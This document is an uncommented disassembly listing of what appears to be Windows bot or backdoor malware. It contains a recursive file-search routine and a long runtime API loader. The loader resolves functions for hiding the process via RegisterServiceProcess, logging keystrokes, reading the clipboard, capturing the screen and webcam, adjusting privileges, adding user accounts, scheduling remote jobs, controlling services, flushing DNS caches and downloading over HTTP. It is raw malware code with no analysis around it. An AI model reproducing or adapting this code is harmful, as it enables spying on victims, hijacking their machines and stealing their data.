		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408910
		cmp	[ebp+var_117], 0
		jz	short loc_408949
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408949

loc_408910:				; CODE XREF: sub_4088A0+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4088A0
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_408949:				; CODE XREF: sub_4088A0+53j
					; sub_4088A0+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_4210A4
		test	eax, eax
		jnz	short loc_4088EC

loc_40895D:				; CODE XREF: sub_4088A0+4Aj
		push	[ebp+var_4]
		call	dword_421098
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4089E3

loc_408994:				; CODE XREF: sub_4088A0+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_415A6A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_4210A4
		test	eax, eax
		jnz	short loc_408994

loc_4089E3:				; CODE XREF: sub_4088A0+F2j
		push	esi
		call	dword_421098
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4088A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4089F2	proc near		; CODE XREF: sub_40C682+55p
		push	ebx
		push	ebp
		mov	ebp, dword_4210C8
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4210C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408B12
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43A464, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43A3D8, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43A3BC, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43A2D8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43A284, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43A2B4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43A328, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43A418, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43A474, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43A2E4, eax
		call	esi
		cmp	dword_43A464, ebx
		mov	dword_43A2CC, eax
		jz	short loc_408AF0
		cmp	dword_43A3D8, ebx
		jz	short loc_408AF0
		cmp	dword_43A3BC, ebx
		jz	short loc_408AF0
		cmp	dword_43A2D8, ebx
		jz	short loc_408AF0
		cmp	dword_43A2B4, ebx
		jz	short loc_408AF0
		cmp	dword_43A328, ebx
		jz	short loc_408AF0
		cmp	dword_43A418, ebx
		jz	short loc_408AF0
		cmp	dword_43A474, ebx
		jz	short loc_408AF0
		cmp	dword_43A2E4, ebx
		jz	short loc_408AF0
		cmp	eax, ebx
		jnz	short loc_408AFA

loc_408AF0:				; CODE XREF: sub_4089F2+B8j
					; sub_4089F2+C0j ...
		mov	dword_43A478, 1

loc_408AFA:				; CODE XREF: sub_4089F2+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43A3F0, eax
		jz	short loc_408B27
		push	1
		push	ebx
		call	eax
		jmp	short loc_408B27
; ---------------------------------------------------------------------------

loc_408B12:				; CODE XREF: sub_4089F2+1Dj
		call	dword_421088
		mov	dword_43A47C, eax
		mov	dword_43A478, 1

loc_408B27:				; CODE XREF: sub_4089F2+117j
					; sub_4089F2+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408C3C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43A414, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43A3C4, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43A358, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43A468, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43A388, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43A3A8, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43A40C, eax
		call	esi
		cmp	dword_43A414, ebx
		mov	dword_43A300, eax
		jz	short loc_408BE0
		cmp	dword_43A3C4, ebx
		jz	short loc_408BE0
		cmp	dword_43A358, ebx
		jz	short loc_408BE0
		cmp	dword_43A468, ebx
		jz	short loc_408BE0
		cmp	dword_43A388, ebx
		jz	short loc_408BE0
		cmp	dword_43A3A8, ebx
		jz	short loc_408BE0
		cmp	dword_43A40C, ebx
		jz	short loc_408BE0
		cmp	eax, ebx
		jnz	short loc_408BEA

loc_408BE0:				; CODE XREF: sub_4089F2+1B8j
					; sub_4089F2+1C0j ...
		mov	dword_43A480, 1

loc_408BEA:				; CODE XREF: sub_4089F2+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43A384, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43A298, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43A354, eax
		call	esi
		cmp	dword_43A384, ebx
		mov	dword_43A340, eax
		jz	short loc_408C47
		cmp	dword_43A298, ebx
		jz	short loc_408C47
		cmp	dword_43A354, ebx
		jz	short loc_408C47
		cmp	eax, ebx
		jnz	short loc_408C51
		jmp	short loc_408C47
; ---------------------------------------------------------------------------

loc_408C3C:				; CODE XREF: sub_4089F2+144j
		call	dword_421088
		mov	dword_43A484, eax

loc_408C47:				; CODE XREF: sub_4089F2+232j
					; sub_4089F2+23Aj ...
		mov	dword_43A480, 1

loc_408C51:				; CODE XREF: sub_4089F2+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408DEC
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43A428, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43A36C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43A3DC, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43A2C4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43A324, eax
		call	esi
		cmp	dword_43A428, ebx
		mov	dword_43A394, eax
		jz	short loc_408CDC
		cmp	dword_43A36C, ebx
		jz	short loc_408CDC
		cmp	dword_43A3DC, ebx
		jz	short loc_408CDC
		cmp	dword_43A2C4, ebx
		jz	short loc_408CDC
		cmp	dword_43A324, ebx
		jz	short loc_408CDC
		cmp	eax, ebx
		jnz	short loc_408CE6

loc_408CDC:				; CODE XREF: sub_4089F2+2C4j
					; sub_4089F2+2CCj ...
		mov	dword_43A488, 1

loc_408CE6:				; CODE XREF: sub_4089F2+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43A39C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43A374, eax
		call	esi
		cmp	dword_43A39C, ebx
		mov	dword_43A424, eax
		jz	short loc_408D21
		cmp	dword_43A374, ebx
		jz	short loc_408D21
		cmp	eax, ebx
		jnz	short loc_408D2B

loc_408D21:				; CODE XREF: sub_4089F2+321j
					; sub_4089F2+329j
		mov	dword_43A488, 1

loc_408D2B:				; CODE XREF: sub_4089F2+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43A3AC, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43A2A0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43A2A8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43A308, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43A30C, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43A2BC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43A378, eax
		call	esi
		cmp	dword_43A3AC, ebx
		mov	dword_43A2AC, eax
		jz	short loc_408DCF
		cmp	dword_43A2A0, ebx
		jz	short loc_408DCF
		cmp	dword_43A2A8, ebx
		jz	short loc_408DCF
		cmp	dword_43A308, ebx
		jz	short loc_408DCF
		cmp	dword_43A30C, ebx
		jz	short loc_408DCF
		cmp	dword_43A2BC, ebx
		jz	short loc_408DCF
		cmp	dword_43A378, ebx
		jz	short loc_408DCF
		cmp	eax, ebx
		jnz	short loc_408DD9

loc_408DCF:				; CODE XREF: sub_4089F2+3A7j
					; sub_4089F2+3AFj ...
		mov	dword_43A488, 1

loc_408DD9:				; CODE XREF: sub_4089F2+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43A2A4, eax
		jnz	short loc_408E01
		jmp	short loc_408DF7
; ---------------------------------------------------------------------------

loc_408DEC:				; CODE XREF: sub_4089F2+26Aj
		call	dword_421088
		mov	dword_43A48C, eax

loc_408DF7:				; CODE XREF: sub_4089F2+3F8j
		mov	dword_43A488, 1

loc_408E01:				; CODE XREF: sub_4089F2+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408ECD
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43A3A4, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43A3FC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43A404, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43A3C0, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43A2E8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43A294, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43A400, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43A280, eax
		call	esi
		cmp	dword_43A3A4, ebx
		mov	dword_43A31C, eax
		jz	short loc_408ED8
		cmp	dword_43A3FC, ebx
		jz	short loc_408ED8
		cmp	dword_43A404, ebx
		jz	short loc_408ED8
		cmp	dword_43A3C0, ebx
		jz	short loc_408ED8
		cmp	dword_43A2E8, ebx
		jz	short loc_408ED8
		cmp	dword_43A294, ebx
		jz	short loc_408ED8
		cmp	dword_43A400, ebx
		jz	short loc_408ED8
		cmp	dword_43A280, ebx
		jz	short loc_408ED8
		cmp	eax, ebx
		jnz	short loc_408EE2
		jmp	short loc_408ED8
; ---------------------------------------------------------------------------

loc_408ECD:				; CODE XREF: sub_4089F2+41Aj
		call	dword_421088
		mov	dword_43A494, eax

loc_408ED8:				; CODE XREF: sub_4089F2+49Bj
					; sub_4089F2+4A3j ...
		mov	dword_43A490, 1

loc_408EE2:				; CODE XREF: sub_4089F2+4D7j
		mov	ebp, dword_4210C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40919E
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43A330, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43A45C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43A2D4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43A2B0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43A364, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43A34C, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43A318, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43A438, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43A454, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43A360, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43A444, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43A3F8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43A3B8, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43A3B4, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43A2F4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43A2EC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43A408, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43A41C, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43A3D0, eax
		call	esi
		mov	dword_43A390, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43A3E4, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43A3A0, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43A3E0, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43A44C, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43A398, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43A35C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43A3CC, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43A43C, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43A370, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43A314, eax
		call	esi
		cmp	dword_43A330, ebx
		mov	dword_43A450, eax
		jz	loc_4091A9
		cmp	dword_43A45C, ebx
		jz	loc_4091A9
		cmp	dword_43A2D4, ebx
		jz	loc_4091A9
		cmp	dword_43A364, ebx
		jz	loc_4091A9
		cmp	dword_43A34C, ebx
		jz	loc_4091A9
		cmp	dword_43A318, ebx
		jz	loc_4091A9
		cmp	dword_43A438, ebx
		jz	loc_4091A9
		cmp	dword_43A454, ebx
		jz	loc_4091A9
		cmp	dword_43A360, ebx
		jz	loc_4091A9
		cmp	dword_43A444, ebx
		jz	loc_4091A9
		cmp	dword_43A3F8, ebx
		jz	loc_4091A9
		cmp	dword_43A3B8, ebx
		jz	loc_4091A9
		cmp	dword_43A3B4, ebx
		jz	loc_4091A9
		cmp	dword_43A2F4, ebx
		jz	short loc_4091A9
		cmp	dword_43A408, ebx
		jz	short loc_4091A9
		cmp	dword_43A41C, ebx
		jz	short loc_4091A9
		cmp	dword_43A3D0, ebx
		jz	short loc_4091A9
		cmp	dword_43A390, ebx
		jz	short loc_4091A9
		cmp	dword_43A3E4, ebx
		jz	short loc_4091A9
		cmp	dword_43A3A0, ebx
		jz	short loc_4091A9
		cmp	dword_43A3E0, ebx
		jz	short loc_4091A9
		cmp	dword_43A44C, ebx
		jz	short loc_4091A9
		cmp	dword_43A398, ebx
		jz	short loc_4091A9
		cmp	dword_43A35C, ebx
		jz	short loc_4091A9
		cmp	dword_43A3CC, ebx
		jz	short loc_4091A9
		cmp	dword_43A43C, ebx
		jz	short loc_4091A9
		cmp	dword_43A370, ebx
		jz	short loc_4091A9
		cmp	eax, ebx
		jnz	short loc_4091B3
		jmp	short loc_4091A9
; ---------------------------------------------------------------------------

loc_40919E:				; CODE XREF: sub_4089F2+501j
		call	dword_421088
		mov	dword_43A49C, eax

loc_4091A9:				; CODE XREF: sub_4089F2+6A0j
					; sub_4089F2+6ACj ...
		mov	dword_43A498, 1

loc_4091B3:				; CODE XREF: sub_4089F2+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4092B8
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43A2FC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43A288, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43A380, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43A334, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43A38C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43A350, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43A2C8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43A2C0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43A2D0, eax
		call	esi
		cmp	dword_43A2FC, ebx
		mov	ecx, dword_43A350
		mov	dword_43A3EC, eax
		jz	short loc_409294
		cmp	dword_43A288, ebx
		jz	short loc_409294
		cmp	dword_43A380, ebx
		jz	short loc_409294
		cmp	dword_43A334, ebx
		jz	short loc_409294
		cmp	dword_43A38C, ebx
		jz	short loc_409294
		cmp	ecx, ebx
		jz	short loc_409294
		cmp	dword_43A2C8, ebx
		jz	short loc_409294
		cmp	dword_43A2C0, ebx
		jz	short loc_409294
		cmp	dword_43A2D0, ebx
		jz	short loc_409294
		cmp	eax, ebx
		jnz	short loc_40929E

loc_409294:				; CODE XREF: sub_4089F2+860j
					; sub_4089F2+868j ...
		mov	dword_43A4A0, 1

loc_40929E:				; CODE XREF: sub_4089F2+8A0j
		cmp	ecx, ebx
		jz	short loc_4092D3
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43A368, eax
		jnz	short loc_4092D3
		jmp	short loc_4092CD
; ---------------------------------------------------------------------------

loc_4092B8:				; CODE XREF: sub_4089F2+7CCj
		call	dword_421088
		mov	dword_43A4A4, eax
		mov	dword_43A4A0, 1

loc_4092CD:				; CODE XREF: sub_4089F2+8C4j
		mov	dword_43A368, ebx

loc_4092D3:				; CODE XREF: sub_4089F2+8AEj
					; sub_4089F2+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40931D
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43A344, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43A470, eax
		call	esi
		cmp	dword_43A344, ebx
		mov	dword_43A2DC, eax
		jz	short loc_409328
		cmp	dword_43A470, ebx
		jz	short loc_409328
		cmp	eax, ebx
		jnz	short loc_409332
		jmp	short loc_409328
; ---------------------------------------------------------------------------

loc_40931D:				; CODE XREF: sub_4089F2+8ECj
		call	dword_421088
		mov	dword_43A4AC, eax

loc_409328:				; CODE XREF: sub_4089F2+91Bj
					; sub_4089F2+923j ...
		mov	dword_43A4A8, 1

loc_409332:				; CODE XREF: sub_4089F2+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409428
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43A2B8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43A290, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43A304, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43A338, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43A448, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43A2F0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43A29C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43A28C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43A320, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43A410, eax
		call	esi
		cmp	dword_43A2B8, ebx
		mov	dword_43A3C8, eax
		jz	short loc_409433
		cmp	dword_43A290, ebx
		jz	short loc_409433
		cmp	dword_43A304, ebx
		jz	short loc_409433
		cmp	dword_43A338, ebx
		jz	short loc_409433
		cmp	dword_43A448, ebx
		jz	short loc_409433
		cmp	dword_43A2F0, ebx
		jz	short loc_409433
		cmp	dword_43A29C, ebx
		jz	short loc_409433
		cmp	dword_43A28C, ebx
		jz	short loc_409433
		cmp	dword_43A320, ebx
		jz	short loc_409433
		cmp	dword_43A410, ebx
		jz	short loc_409433
		cmp	eax, ebx
		jnz	short loc_40943D
		jmp	short loc_409433
; ---------------------------------------------------------------------------

loc_409428:				; CODE XREF: sub_4089F2+94Bj
		call	dword_421088
		mov	dword_43A4B4, eax

loc_409433:				; CODE XREF: sub_4089F2+9E6j
					; sub_4089F2+9EEj ...
		mov	dword_43A4B0, 1

loc_40943D:				; CODE XREF: sub_4089F2+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409472
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43A2E0, eax
		call	esi
		cmp	dword_43A2E0, ebx
		mov	dword_43A3B0, eax
		jz	short loc_40947D
		cmp	eax, ebx
		jnz	short loc_409487
		jmp	short loc_40947D
; ---------------------------------------------------------------------------

loc_409472:				; CODE XREF: sub_4089F2+A56j
		call	dword_421088
		mov	dword_43A4BC, eax

loc_40947D:				; CODE XREF: sub_4089F2+A78j
					; sub_4089F2+A7Ej
		mov	dword_43A4B8, 1

loc_409487:				; CODE XREF: sub_4089F2+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4094BC
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43A434, eax
		call	esi
		cmp	dword_43A434, ebx
		mov	dword_43A430, eax
		jz	short loc_4094C7
		cmp	eax, ebx
		jnz	short loc_4094D1
		jmp	short loc_4094C7
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_4089F2+AA0j
		call	dword_421088
		mov	dword_43A4C4, eax

loc_4094C7:				; CODE XREF: sub_4089F2+AC2j
					; sub_4089F2+AC8j
		mov	dword_43A4C0, 1

loc_4094D1:				; CODE XREF: sub_4089F2+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409530
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43A460, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43A458, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43A420, eax
		call	esi
		cmp	dword_43A460, ebx
		mov	dword_43A2F8, eax
		jz	short loc_40953B
		cmp	dword_43A458, ebx
		jz	short loc_40953B
		cmp	dword_43A420, ebx
		jz	short loc_40953B
		cmp	eax, ebx
		jnz	short loc_409545
		jmp	short loc_40953B
; ---------------------------------------------------------------------------

loc_409530:				; CODE XREF: sub_4089F2+AEAj
		call	dword_421088
		mov	dword_43A4CC, eax

loc_40953B:				; CODE XREF: sub_4089F2+B26j
					; sub_4089F2+B2Ej ...
		mov	dword_43A4C8, 1

loc_409545:				; CODE XREF: sub_4089F2+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40957A
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43A32C, eax
		call	esi
		cmp	dword_43A32C, ebx
		mov	dword_43A42C, eax
		jz	short loc_409585
		cmp	eax, ebx
		jnz	short loc_40958F
		jmp	short loc_409585
; ---------------------------------------------------------------------------

loc_40957A:				; CODE XREF: sub_4089F2+B5Ej
		call	dword_421088
		mov	dword_43A4D4, eax

loc_409585:				; CODE XREF: sub_4089F2+B80j
					; sub_4089F2+B86j
		mov	dword_43A4D0, 1

loc_40958F:				; CODE XREF: sub_4089F2+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409618
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43A3F4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43A440, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43A37C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43A33C, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43A3D4, eax
		call	esi
		cmp	dword_43A3F4, ebx
		mov	dword_43A348, eax
		jz	short loc_409623
		cmp	dword_43A440, ebx
		jz	short loc_409623
		cmp	dword_43A37C, ebx
		jz	short loc_409623
		cmp	dword_43A33C, ebx
		jz	short loc_409623
		cmp	dword_43A3D4, ebx
		jz	short loc_409623
		cmp	eax, ebx
		jnz	short loc_40962D
		jmp	short loc_409623
; ---------------------------------------------------------------------------

loc_409618:				; CODE XREF: sub_4089F2+BA8j
		call	dword_421088
		mov	dword_43A4DC, eax

loc_409623:				; CODE XREF: sub_4089F2+BFEj
					; sub_4089F2+C06j ...
		mov	dword_43A4D8, 1

loc_40962D:				; CODE XREF: sub_4089F2+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409662
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43A310, eax
		call	esi
		cmp	dword_43A310, ebx
		mov	dword_43A3E8, eax
		jz	short loc_40966D
		cmp	eax, ebx
		jnz	short loc_409677
		jmp	short loc_40966D
; ---------------------------------------------------------------------------

loc_409662:				; CODE XREF: sub_4089F2+C46j
		call	dword_421088
